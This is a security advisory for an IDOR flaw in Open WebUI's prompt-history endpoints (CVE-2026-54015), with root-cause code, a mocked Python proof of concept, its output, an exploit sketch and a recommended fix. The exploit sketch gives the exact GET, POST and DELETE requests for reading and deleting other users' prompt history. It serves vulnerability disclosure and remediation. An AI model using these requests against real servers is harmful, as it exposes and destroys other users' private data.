PT-2026-50487 · Pypi · Open-Webui

Published

2026-06-17

·

Updated

2026-06-17

·

CVE-2026-54015

CVSS v3.1

6.4

Medium

VectorAV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L

Summary

Open WebUI's prompt version-history endpoints authorize the prompt id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history entry.prompt id == prompt.id). Three operations are affected:
  • GET /api/v1/prompts/id/{prompt id}/history/diff — returns another prompt's history snapshots (read).
  • POST /api/v1/prompts/id/{prompt id}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read).
  • DELETE /api/v1/prompts/id/{prompt id}/history/{history id} — deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim prompt history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history id}) already enforces the binding; these three did not.

Impact

Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.

Root Cause

The route checks read access only for prompt id:
python
# backend/open webui/routers/prompts.py
prompt = await Prompts.get prompt by id(prompt id, db=db)
...
if not (
  user.role == 'admin'
  or prompt.user id == user.id
  or await AccessGrants.has access(
    user id=user.id,
    resource type='prompt',
    resource id=prompt.id,
    permission='read',
    db=db,
  )
):
  raise HTTPException(...)
But the authorized prompt ID is not passed into the diff sink:
python
# backend/open webui/routers/prompts.py
diff = await PromptHistories.compute diff(from id, to id, db=db)
compute diff() fetches both history entries globally by ID and returns their full snapshots:
python
# backend/open webui/models/prompt history.py
result from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from id))
from entry = result from.scalars().first()
result to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to id))
to entry = result to.scalars().first()
...
return {
  'from snapshot': from snapshot,
  'to snapshot': to snapshot,
  ...
}
There is no check that from entry.prompt id == prompt id or to entry.prompt id == prompt id.
The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version id:
python
# backend/open webui/models/prompts.py — update prompt version
history entry = await PromptHistories.get history entry by id(version id, db=session)
...
prompt.content = snapshot.get('content', prompt.content)  # foreign snapshot copied into caller's prompt
prompt.version id = version id
DELETE .../history/{history id} deletes an entry fetched globally by history id:
python
# backend/open webui/models/prompt history.py — delete history entry
result = await db.execute(select(PromptHistory).filter by(id=history id))
entry = result.scalars().first()
...
await db.delete(entry)
Neither checks entry.prompt id == prompt.id. The single-entry read endpoint (GET .../history/{history id}) does (history entry.prompt id != prompt.id → 404); these three endpoints were missing it.

PoC

python
#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.

The PoC executes:
 - the real routers.prompts.get prompt diff() route function
 - the real PromptHistories.compute diff() implementation

Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""

from  future  import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare imports() -> None:
  repo root = Path( file ).resolve().parents[1]
  sys.path.insert(0, str(repo root / "backend"))
  os.environ["VECTOR DB"] = "none"

  class DummyTyper:
    def command(self, *args, **kwargs):
      return lambda fn: fn

  sys.modules.setdefault(
    "typer",
    types.SimpleNamespace(
      Typer=lambda *args, **kwargs: DummyTyper(),
      Option=lambda *args, **kwargs: None,
      echo=lambda *args, **kwargs: None,
      Exit=Exception,
    ),
  )
  sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeScalarResult:
  def  init (self, row):
    self.row = row

  def first(self):
    return self.row


class FakeExecuteResult:
  def  init (self, row):
    self.row = row

  def scalars(self):
    return FakeScalarResult(self.row)


class FakePromptHistoryDb:
  def  init (self, rows):
    self.rows = rows
    self.calls = 0

  async def execute(self, stmt):
    row = self.rows[self.calls]
    self.calls += 1
    return FakeExecuteResult(row)


class FakeDbContext:
  def  init (self, db):
    self.db = db

  async def  aenter (self):
    return self.db

  async def  aexit (self, exc type, exc, tb):
    return False


async def run real compute diff(from id: str, to id: str):
  import open webui.models.prompt history as history module

  victim from = SimpleNamespace(
    id=from id,
    prompt id="victim-prompt",
    snapshot={
      "name": "Victim Prompt",
      "command": "/victim",
      "content": "PRIVATE PROMPT SECRET V1",
    },
  )
  victim to = SimpleNamespace(
    id=to id,
    prompt id="victim-prompt",
    snapshot={
      "name": "Victim Prompt",
      "command": "/victim",
      "content": "PRIVATE PROMPT SECRET V2",
    },
  )

  fake db = FakePromptHistoryDb([victim from, victim to])
  original context = history module.get async db context
  try:
    history module.get async db context = lambda db=None: FakeDbContext(fake db)
    diff = await history module.PromptHistories.compute diff(from id, to id)
  finally:
    history module.get async db context = original context

  return diff


async def main() -> None:
  prepare imports()

  import open webui.routers.prompts as prompts router

  attacker prompt = SimpleNamespace(
    id="attacker-prompt",
    user id="attacker",
  )
  attacker = SimpleNamespace(id="attacker", role="user")
  victim from id = "victim-history-from"
  victim to id = "victim-history-to"

  class FakePrompts:
    looked up prompt ids = []

    async def get prompt by id(self, prompt id, db=None):
      self.looked up prompt ids.append(prompt id)
      if prompt id == "attacker-prompt":
        return attacker prompt
      return None

  class FakeAccessGrants:
    async def has access(self, *args, **kwargs):
      return False

  class FakePromptHistories:
    compute diff calls = []

    async def compute diff(self, from id, to id, db=None):
      self.compute diff calls.append(
        {
          "from id": from id,
          "to id": to id,
          "authorized prompt id not passed": True,
        }
      )
      return await run real compute diff(from id, to id)

  fake prompts = FakePrompts()
  fake histories = FakePromptHistories()

  original = {
    "Prompts": prompts router.Prompts,
    "AccessGrants": prompts router.AccessGrants,
    "PromptHistories": prompts router.PromptHistories,
  }
  try:
    prompts router.Prompts = fake prompts
    prompts router.AccessGrants = FakeAccessGrants()
    prompts router.PromptHistories = fake histories

    diff = await prompts router.get prompt diff(
      prompt id="attacker-prompt",
      from id=victim from id,
      to id=victim to id,
      user=attacker,
      db=None,
    )
  finally:
    for name, value in original.items():
      setattr(prompts router, name, value)

  result = {
    "confirmed": (
      diff.get("from snapshot", {}).get("content") == "PRIVATE PROMPT SECRET V1"
      and diff.get("to snapshot", {}).get("content") == "PRIVATE PROMPT SECRET V2"
      and fake prompts.looked up prompt ids == ["attacker-prompt"]
      and fake histories.compute diff calls
      and fake histories.compute diff calls[0]["authorized prompt id not passed"] is True
    ),
    "attacker user id": "attacker",
    "authorized prompt id": "attacker-prompt",
    "victim prompt id": "victim-prompt",
    "victim history ids": [victim from id, victim to id],
    "prompt ids authorized by route": fake prompts.looked up prompt ids,
    "compute diff calls": fake histories.compute diff calls,
    "leaked from snapshot": diff.get("from snapshot"),
    "leaked to snapshot": diff.get("to snapshot"),
    "source": {
      "route": "backend/open webui/routers/prompts.py:get prompt diff",
      "sink": "backend/open webui/models/prompt history.py:PromptHistories.compute diff",
    },
  }
  print(json.dumps(result, indent=2, sort keys=True))
  if not result["confirmed"]:
    raise SystemExit(1)


if  name  == " main ":
  asyncio.run(main())
The PoC executes the real route function and the real PromptHistories.compute diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.
Result:
json
{
 "attacker user id": "attacker",
 "authorized prompt id": "attacker-prompt",
 "confirmed": true,
 "leaked from snapshot": {
  "command": "/victim",
  "content": "PRIVATE PROMPT SECRET V1",
  "name": "Victim Prompt"
 },
 "leaked to snapshot": {
  "command": "/victim",
  "content": "PRIVATE PROMPT SECRET V2",
  "name": "Victim Prompt"
 },
 "prompt ids authorized by route": [
  "attacker-prompt"
 ],
 "victim history ids": [
  "victim-history-from",
  "victim-history-to"
 ],
 "victim prompt id": "victim-prompt"
}

Exploit Sketch

Read via the diff endpoint:
  1. Attacker has read access to ATTACKER PROMPT ID.
  2. Attacker knows two history IDs for a victim prompt: VICTIM FROM HISTORY ID and VICTIM TO HISTORY ID.
  3. Attacker requests:
text
GET /api/v1/prompts/id/ATTACKER PROMPT ID/history/diff?from id=VICTIM FROM HISTORY ID&to id=VICTIM TO HISTORY ID
  1. The server authorizes ATTACKER PROMPT ID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"version id": "VICTIM HISTORY ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER PROMPT ID/history/VICTIM HISTORY ID; the victim history entry is removed.

Recommended Fix

Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
  • compute diff() should accept prompt id and query both entries with PromptHistory.prompt id == prompt id alongside the id filter.
  • delete history entry() should accept prompt id and filter filter by(id=history id, prompt id=prompt id).
  • update prompt version() should reject history entry.prompt id != prompt id before restoring.
Return 404/403 on mismatch.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history entry.prompt id == prompt.id binding) reached through different endpoints:
  • Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
  • update/version restore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.

Fix

Improper Access Control

IDOR

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-54015
GHSA-4R4W-2WGP-W7CJ

Affected Products

Open-Webui